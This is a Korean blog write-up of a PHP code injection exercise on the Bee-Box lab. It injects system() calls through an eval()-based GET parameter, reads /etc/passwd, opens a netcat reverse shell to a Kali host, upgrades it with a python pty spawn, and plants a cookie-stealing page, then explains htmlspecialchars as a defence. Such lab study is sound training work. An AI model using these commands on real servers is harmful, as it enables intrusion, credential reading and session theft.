power-girl0-0

PHP 코드 인젝션 ( PHP Code Injection ) 본문

웹해킹/Bee-Box

PHP 코드 인젝션 ( PHP Code Injection )

power-girl0-0 2020. 9. 17. 15:26
728x90

1. 해당 페이지는 message를 누를 경우 test 문자가 출력되는 페이지이다.

 

2. 파라미터를 확인하니 get방식인 것을 확인 할 수 있다.

 

3. message변수안에 값을 바꿔도 출력되는지 확인해보겠다.

test 대신 Hello값을 입력하여 전송한 결과 출력되는 값이 바뀌는 것을 확인할 수 있다.

 

4. php 취약점이 있는지 확인하기 위해 세미콜론(;)를 사용하여 system()함수에 ls를 넣어 파일목록을     출력해보겠다.

- PHP 취약점

    : exec()함수 또는 eval()함수를 사용할 경우 세미콜론(;)을 사용하여 다른 함수를 실행할 수 있는 취약점을 갖고 있다.

- exec() : 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.

- eval() : eval함수 안에 있는 php코드를 실행시켜준다.

- system() : 문자열 형태의 명령어를 인자값으로 받아서 실행시켜주는 함수이다.

     * system()함수 대신 shell_exec()함수를 사용할 수 있다.

        

전송결과 ls 명령어를 실행시켜 파일목록을 출력해준다.

 

5. 그렇다면 상위 권한의 사용자가 접근할 수 있는 파일도 출력할 수 있는지 확인해보도록 하겠다.

(1) 먼저 system함수에 웹서버 권한도 갖고 있는 cat /etc/passwd를 입력하여 명령어가 잘 사용되는지 확인해 보았다.

 

명령어가 잘 출력되는 것을 확인할 수 있다.

 

(2) 이번에는 system함수에 cat /etc/shadow를 입력해서 상위 권한의 출력도 가능한지 확인해보았다.

해당 페이지는 명령어가 실행되지 않음을 확인할 수 있다.

따라서 현재 웹 권한을 가지고 있고 상위 권한의 사용자만 접근가능한 파일의 경우에는 출력되지 않는 것을 알 수 있다.

 

 

6. 넷캣을 이용하여 악의적인 스크립트 파일을 추가해보겠다.

* 넷캣에 대한 글은 이전 글인 OS command injection에 설명되어있다.

2020/09/17 - [웹해킹/Bee-Box] - OS 커맨드 인젝션 ( OS Command Injection )

 

OS 커맨드 인젝션 ( OS Command Injection )

OS 커맨드 인젝션 ( OS Command Injection )란? 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다. 1. 해당 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 페이지�

power-girl0-0.tistory.com

(1) nc -l -p 명령어를 사용하여 7777번 포트를 listen모드로 열어주고 넷캣을 실행한다.

(2) Bee-box와 kali를 넷캣을 이용하여 연결한다.

- 명령어 : nc <kali ip와 포트> -e /bin/bash

(3) 넷캣으로 연결될 때까지 페이지는 로딩상태가 되고 이때, Kali로 돌아가면 비박스인 서버정보를 확인할 수 있다.

(4) 넷캣으로 셸을 사용할 때는 프롬프트가 없고 vi편집기를 사용할 수 없기 때문에 'pseudo-terminal'을 사용하는

     명령어를 입력해준다. ( 파이썬의 pty 모듈을 통해 pseudo 터미널을 생성 )

* PTY : pseudo-terminal, 가상터미널 

- 명령어 : python -c 'import pty;pty.spawn("/bin/bash")'

    ① python -c : 명령이 CLI( Command Line Interface )에서 실행하도록 하는 옵션이다.

    ② import pty; : pty모듈을 import해준다.

    ③ pty.spawn("/bin/bash") : spawn함수를 통해 /bin/bash를 실행시킨다.

(5) 이제 공격하기 위해 bee-box 서버에 악의적인 파일을 만들고 작성하였다.

- 쿠키값을 얻어오는 스크립트사용

 

(6) 생성한 attack.html파일에 접속하면 사용자의 쿠키값이 경고창으로 뜨는 것을 확인할 수 있다. 

해당 방법과 같이 쿠키 정보 뿐만 아니라 피싱을 위한 조작된 페이지나 악성코드가 실행되는 페이지도 작성할 수 있다.

 

 

대응방안

먼저 소스를 분석해 보았다.

해당 소스를 보니 eval()함수를 사용하여 발생한 취약점인 것을 알 수 있다.

소스를 살펴보니 medium과 high단계에서는 htmlspecialchars()함수로 우회한다는 것을 알 수 있습니다.

 

htmlspecialchars()는 두번째 인자에 'ENT_QUOTES'를 추가하여 크로스 사이트스크립팅에 사용하는 특수문자를 HTML 엔티티 코드로 변환한다. ( &, ", ', <, > )

 

 

728x90

'웹해킹 > Bee-Box' 카테고리의 다른 글

SQL 인젝션(GET/Search)  (0) 2020.12.15
SSI Injection ( Sever-Side-Includes Injection )  (0) 2020.09.17
OS 커맨드 인젝션 ( OS Command Injection )  (0) 2020.09.17
iFrame Injection  (0) 2020.09.16
HTML 인젝션 - 저장기법(Blog)  (0) 2020.09.16
Comments